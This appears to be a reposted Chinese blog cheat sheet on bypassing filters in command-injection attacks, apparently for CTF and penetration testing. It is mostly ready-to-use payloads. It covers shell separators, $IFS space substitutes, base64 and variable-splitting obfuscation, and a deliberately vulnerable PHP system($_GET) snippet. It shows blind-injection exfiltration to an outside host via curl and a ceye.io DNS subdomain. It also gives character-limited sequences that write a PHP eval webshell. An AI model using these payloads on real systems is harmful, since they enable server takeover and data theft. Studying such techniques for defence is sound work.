【转载】命令执行 绕过方法

转载:https://www.fujieace.com/penetration-test/command-bypass.html

一、命令执行的分隔符

换行符 %0a

回车符 %0d

管道符 |

连续指令 ;

后台进程 &

逻辑 || &&

<?php
#?1=123%0apwd
$rse = "echo";
system($rse.$_GET[1]);

二、命令执行的空格代替

<符号

$IFS

${IFS}

$IFS$9 $9指传过来的第9个参数

%09用于url传递

三、命令执行的绕过

a=l;b=s;$a$b

会以"ls"命令执行

 

base64编码

`echo d2hvYW1p | base64 -d`

d2hvYW1p解码后是whoami

base64 -d 解密

`` 对解密这个结果再去执行命令

四、命令执行的各种符号

"substr string pos len"用法示例。

该表达式是从string中取出从pos位置开始长度为len的字字符串。如果pos或len为非正整数时,将返回空字符串。

echo "${PATH:0:1}

echo "${SESSION_MANAGER}"

echo "`expr$IFS\substr\$IFS\$(pwd)\$IFS\1\$IFS\1`"

echo `$(expr${IFS}substr${IFS}$PWD${IFS}1${IFS}1)`

expr${IFS}substr${IFS}SESSION_MANAGER${IFS}1${IFS}1

五、命令执行无回显判断方法

index.php?1=ls|sleep 5

nc -lv 80000 #监听

index.php?1=ls|curl 192.168.1.102:8000

index.php?ping=;`cat where_is_flag.php|sed s/[[:space:]]//`.php.wzrtbq.ceye.io

六、15位可控字符下的任意命令执行

echo \<?php >1
echo eval\(>>1
echo \$_GET>>1
echo \[1\]>>1
echo \)\;>>1

七、7位可控字符下的任意命令执行

ls > a 文件名写入a

欠缺,顺序

 

ls命令:长命令 \ 换行分隔

l\

s

假设我产要写入<?php echo phpinfo();
echo PD9waHAgcGhwaW5mbygpOw== | base64 -d >1.php
w>hp
w>1.p\\
w>d\>\\
w>\-\\
w>e64\\
w>bas\\
w>=\|\\
w>w=\\
w>gpO\\
w>mby\\
w>aW5\\
w>Ghw\\
w>Agc\\
w>waH\\
w>PD9\\
w>o\ \\
w>ech\\

ls -t>0

sh 0

八、5位可控字符下的任意命令执行

ls -t>0 超过了5位

>ls\\
ls>a
>\ \\
>-t\\
>\>0

ls>>a

sh a

九、4位可控字符下的任意命令执行

ls -t>0 超过了4位

echo *

echo *a

abcd a

>f\>
>ht-
>sl
>dir
*>v
>rev
*v>0

cat 0
posted @ 2021-01-13 11:19  nnnnn_0c0  阅读(221)  评论(0)    收藏  举报